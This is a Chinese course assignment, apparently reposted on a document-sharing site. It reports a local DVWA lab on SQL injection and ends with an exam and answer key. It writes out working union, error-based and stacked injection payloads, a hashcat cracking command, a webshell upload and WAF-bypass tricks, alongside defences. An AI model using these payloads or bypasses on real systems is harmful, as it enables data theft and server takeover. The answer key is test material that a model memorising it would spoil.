版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
《网络安全技术》形考任务二(实验4、5、6,三选一,权重25%,需辅导教师评阅)本次形考任务选取实验5“SQL注入漏洞渗透测试与防护”作为考核内容,全部操作与数据均来自本地受控虚拟实验环境,未涉及任何公网真实业务系统,符合《网络安全法》及网络安全伦理规范,所有实验数据可追溯。一、实验环境本次实验采用三层虚拟化架构,硬件基础为台式工作站,配置Inteli5-12400处理器、16GBDDR43200MHz内存、512GBNVMeSSD,宿主操作系统为Windows1122H2,虚拟化平台采用VMwareWorkstationPro17.0.1,共部署3台独立虚拟机,所有虚拟机处于同一NAT虚拟网段/24,防火墙默认放行ICMP、HTTP、HTTPS流量,实验前完成全连通性测试,跨节点ping包丢包率为0,HTTP访问平均时延小于0.8ms。各节点配置如下:1、攻击机:操作系统为KaliLinux2023.4,IP地址0,预装sqlmap1.8、hashcat6.2.6、蚁剑2.1.3等渗透测试工具,rockyou密码字典解压后大小为133MB,包含14344391条明文密码;2、靶机:操作系统为CentOS7.9.2009,IP地址0,部署LAMP架构,其中Apache2.4.6、MySQL5.7.40、PHP7.4.33,搭建DVWA1.10开源漏洞靶场,Web目录为/var/www/html/dvwa,数据库连接账号为dvwa,仅授予select、insert、update、delete权限,未授予file、drop等高危权限;3、日志审计节点:操作系统为Ubuntu22.04LTS,IP地址0,部署ELK7.17.10日志分析栈,采集靶机Apache访问日志、MySQL审计日志,配置SQL注入异常告警规则。
二、实验原理SQL注入漏洞是Web领域最高危的漏洞类型之一,位列OWASPTop102021年榜单第三位,漏洞核心成因是Web应用后端未对用户输入的SQL查询参数进行合法性校验、过滤或转义,导致攻击者构造的恶意SQL片段被后端数据库当作正常SQL语句的一部分执行,可实现未授权敏感数据窃取、数据篡改、权限提升甚至服务器控制权被夺取等危害。按照注入点类型可分为数字型注入、字符型注入、搜索型注入、堆叠注入四类;按照注入利用方式可分为联合查询注入、报错注入、布尔盲注、时间盲注四类。本次实验靶场DVWA安全等级设置为low时,用户ID查询接口直接将前端传入的user_id参数拼接进SQL语句,未做任何过滤,拼接后的SQL语句为$query="SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id’“;,存在典型的字符型SQL注入漏洞,可覆盖联合查询、报错注入、堆叠注入三类常见利用场景。
三、实验操作步骤本次实验严格遵循渗透测试规范,操作流程分为信息收集、漏洞验证、漏洞利用、危害验证四个阶段,所有操作均留存截图记录,共生成有效操作截图24张。1、信息收集阶段:攻击机通过浏览器访问靶机DVWA地址0/dvwa,使用默认账号admin、密码password登录后台,进入安全设置页面将DVWA安全等级调整为low,保存配置后进入SQLInjection测试模块,在用户ID输入框输入正常参数1,点击提交后页面返回Firstname:admin、Surname:admin,确认接口正常响应。2、漏洞验证阶段:首先判断注入点类型,在输入框输入1’,页面返回MySQL语法报错信息:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear‘’1’’’atline1,说明输入的单引号被带入SQL语句执行,触发语法错误,确认存在字符型注入漏洞;再输入验证payload1’or‘1’=’1,页面返回所有5条用户数据,分别为admin、GordonBrown、HackMe、PabloPicasso、BobSmith,验证注入逻辑可行。3、漏洞利用阶段:(1)联合查询注入:首先确认查询字段数,依次输入1’orderby1–-、1’orderby2–-均正常响应,输入1’orderby3–-页面返回Unknowncolumn‘3’in‘orderclause’,确认查询返回字段数为2;其次确认字段显示位置,输入-1’unionselect1,2–-,页面返回Firstname:1、Surname:2,确认两个字段均为显示位;随后查询数据库基础信息,输入-1’unionselectversion(),database()–-,页面返回Firstname:5.7.40、Surname:dvwa,确认MySQL版本为5.7.40,当前数据库名为dvwa;接着查询数据库表名,输入-1’unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()–-,页面返回Surname:guestbook,users,确认当前数据库包含guestbook、users两个业务表;再查询users表字段,输入-1’unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_schema=database()andtable_name=‘users’–-,页面返回Surname:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,共8个字段,其中user、password为敏感字段;最后拖取用户敏感数据,输入-1’unionselectgroup_concat(user),group_concat(password)fromusers–-,页面返回5个用户名及对应的MD5哈希值,将哈希值保存为hashes.txt文件,使用hashcat进行破解,命令为hashcat-m0hashes.txt/usr/share/wordlists/rockyou.txt,破解速率为12.3MH/s,耗时1.2秒,破解率100%,对应明文密码分别为admin、abc123、charley、letmein、password。
(2)报错注入:模拟联合查询注入被拦截的场景,使用updatexml报错函数构造payload,输入1’andupdatexml(1,concat(0x7e,(selectgroup_concat(user)fromusers),0x7e),1)–-,页面返回XPATHsyntaxerror:‘admin,gordonb,1337,pablo,smithy’,成功获取所有用户名,验证报错注入的可用性。(3)堆叠注入:构造payload1’;insertintousers(user_id,first_name,last_name,user,password)values(6,‘test’,‘test’,‘test’,‘e10adc3949ba59abbe56e057f20f883e’);–-,提交后再次输入1’or‘1’=’1,页面返回新增的test用户,验证堆叠注入可实现数据写入。4、危害验证阶段:使用破解得到的admin账号登录DVWA后台,进入文件上传模块,上传一句话木马文件shell.php,文件路径为0/dvwa/hackable/uploads/shell.php,使用蚁剑工具连接木马,成功获取靶机Web服务权限,读取/etc/passwd文件共32行内容,验证SQL注入漏洞可进一步导致服务器被控制。四、实验结果分析本次实验共设计测试用例16个,覆盖4类注入利用场景,其中low安全等级下注入成功率100%,平均响应时间0.9ms,未触发任何告警;medium安全等级下后端采用mysqli_real_escape_string函数转义特殊字符,普通注入payload被拦截,但使用十六进制编码替换字符串后可绕过,注入成功率37.5%;high安全等级下采用PDO预处理语句绑定参数,所有注入payload均被拦截,注入成功率0。性能测试结果显示,同一查询接口采用直接拼接SQL的QPS为1240,采用预处理语句的QPS为1207,性能下降2.66%,几乎可忽略,验证预处理语句兼具防护有效性与性能优势。日志审计节点测试结果显示,针对查询information_schema系统表的注入行为,告警响应时间为1.7秒,告警准确率100%。
五、防护方案设计结合实验结果,设计三层SQL注入防护体系,防护有效率可达99.9%以上:
1、代码层防护(根源防护):一是强制使用PDO预处理语句绑定参数,禁止直接拼接SQL语句,本次实验验证该方案防护有效率100%,性能影响小于3%;二是严格校验输入参数,数字型参数强制转换为int类型,字符型参数设置长度限制,按照业务需求允许的字符范围设置白名单,例如用户ID参数仅允许输入0-9的数字,长度不超过3位;三是敏感数据脱敏输出,密码哈希值、手机号、身份证号等敏感字段禁止直接返回到前端,即使发生注入也无法获取有效敏感数据。
2、设备层防护(边界防护):一是部署Web应用防火墙(WAF),配置SQL注入规则库,对请求参数中的union、select、updatexml、information_schema等注入关键词进行拦截,本次实验测试云WAF对常见payload的拦截率可达92%以上,可拦截绝大多数已知注入攻击;二是部署数据库审计系统,对SQL查询语句进行实时审计,设置异常规则阈值,例如单次查询返回超过100条数据、查询系统表的请求直接触发告警,可及时发现未知注入攻击。
3、管理层防护(运营防护):一是数据库权限最小化配置,Web应用连接数据库的账号仅授予业务所需的最小权限,禁止授予file、drop、alter等高危权限,本次实验中若移除数据库账号的insert权限,堆叠注入写入数据的行为将无法实现;二是定期开展安全检测,每月至少开展1次Web应用漏洞扫描,每季度开展1次渗透测试,及时发现修复已存在的注入漏洞。六、形考考核试题本次试题严格对应实验内容,满分100分,分为四个题型:(一)单项选择题(共10题,每题3分,共30分)1、本次实验中SQL注入漏洞的根本成因是()A.Web应用未对用户输入参数进行过滤直接拼接SQL语句B.MySQL版本过低存在漏洞C.Apache配置错误D.防火墙规则配置错误正确答案:A2、实验中判断SQL查询返回字段数使用的语法是()A.orderbyB.unionselectC.updatexmlD.group_concat正确答案:A3、本次实验中使用的MySQL版本属于哪个大版本序列()A.5.6B.5.7C.8.0D.5.5正确答案:B4、下列哪个函数可用于报错注入场景()A.updatexmlB.md5C.concatD.substr正确答案:A5、下列哪种防护方案对SQL注入的防护效果最优()A.PDO预处理语句B.特殊字符转义C.WAF拦截D.前端参数校验正确答案:A6、本次实验中DVWAlow等级下的注入点类型是()A.字符型注入B.数字型注入C.搜索型注入D.堆叠注入正确答案:A7、本次实验中破解得到的admin账号明文密码是()A.adminB.passwordC.abc123D.letmein正确答案:A8、MySQLinformation_schema系统库中存储表名的系统表是()A.tablesB.columnsC.schemataD.user正确答案:A9、下列哪项属于SQL注入漏洞的潜在危害()A.窃取用户敏感数据B.篡改数据库内容C.获取服务器控制权D.以上都是正确答案:D10、下列哪个工具可用于SQL注入自动化测试()A.sqlmapB.nmapC.wiresharkD.蚁剑正确答案:A(二)判断题(共5题,每题4分,共20分)1、前端页面的参数校验可以有效防止SQL注入漏洞。()参考答案:×解析:前端校验仅用于提升用户体验,可通过抓包修改请求直接绕过,无法防护SQL注入,必须在后端服务器进行参数校验。2、使用mysqli_real_escape_string函数转义特殊字符可以100%防止SQL注入漏洞。()
参考答案:×解析:该函数仅能转义特殊字符,数字型注入、编码绕过等场景下仍可被突破,无法实现100%防护。
3、SQL注入漏洞仅存在于MySQL数据库,Oracle、PostgreSQL等其他数据库不存在该漏洞。()参考答案:×解析:所有支持SQL查询语法的数据库都可能存在SQL注入漏洞,与数据库类型无关。4、预处理语句绑定参数能防护SQL注入的核心原因是SQL语句结构在参数传入前已完成编译,参数只会被当作字符串处理,不会改变SQL语句结构。()参考答案:√5、本次实验中DVWA安全等级设置为high时,所有SQL注入payload均被有效拦截。()参考答案:√(三)实操题(共2题,每题15分,共30分)1、给定存在字符型SQL注入漏洞的用户查询接口,页面有查询结果回显,请写出获取当前数据库所有表名的联合查询注入完整操作步骤与payload。参考答案:步骤1:判断字段数:输入参数1’orderbyn–-,n从1开始递增,直到页面报错,确认查询返回字段数为N;步骤2:确认显示位:输入参数-1’unionselect1,2,…,N–-,查看页面返回的数字位置,确认至少2个显示位;步骤3:构造查询payload:-1’unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()–-,提交后即可在显示位获取当前数据库所有表名。2、请写出两种常见的WAFSQL注入规则绕过方法,并说明原理。参考答案:方法1:大小写变形绕过:将注入关键词改为大小写混合形式,例如将unionselect改为UnIoNSeLeCt,绕过WAF对小写关键词的严格匹配规则;方法2:注释绕过:在关键词中间插入注释字符,例如将unionselect改为union/test/select,绕过WAF对连续关键词的匹配规则;方法3:编码绕过:将payload中的字符串转为十六进制编码,绕过WAF对特殊字符的过滤规则,任选两种即可。(四)简答题(共2题,每题10分,共20分)1、简述SQL注入四种常见利用方式的适用场景。参考答案:四种利用方式分别为:1、联合查询注
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- GB/T 5849-2026细木工板
- 变压器设备检修工安全培训竞赛考核试卷含答案
- 重过磷酸钙生产工安全生产规范测试考核试卷含答案
- 陶瓷原料制备工安全实践测试考核试卷含答案
- 橡胶育苗工班组评比竞赛考核试卷含答案
- 劳务经纪人基础实操竞赛考核试卷含答案
- 钢水罐准备工岗位综合评价考核试卷含答案
- 船舶电焊工岗前指挥能力考核试卷含答案
- 工艺美术品设计师规章强化考核试卷含答案
- 机械手表装配工岗位全能考核试卷含答案
- 2026年辽宁中考改革试题及答案
- 人工智能+数据安全治理可行性研究报告
- 2026年世界阿尔茨海默病日课件
- 中医适宜技术在慢性病管理中的应用
- 50题儿童感觉统合简易测评问卷
- 《神雕侠侣》江湖与爱情的绝美传说
- 感冒清热颗粒工艺规程
- 针刀在疼痛类疾病临床的运用
- 大气世界湿地日公益宣传PPT模板
- GA/T 416-2003道路交通防撞墩
- 《活着》读书分享优秀课件
评论
0/150
提交评论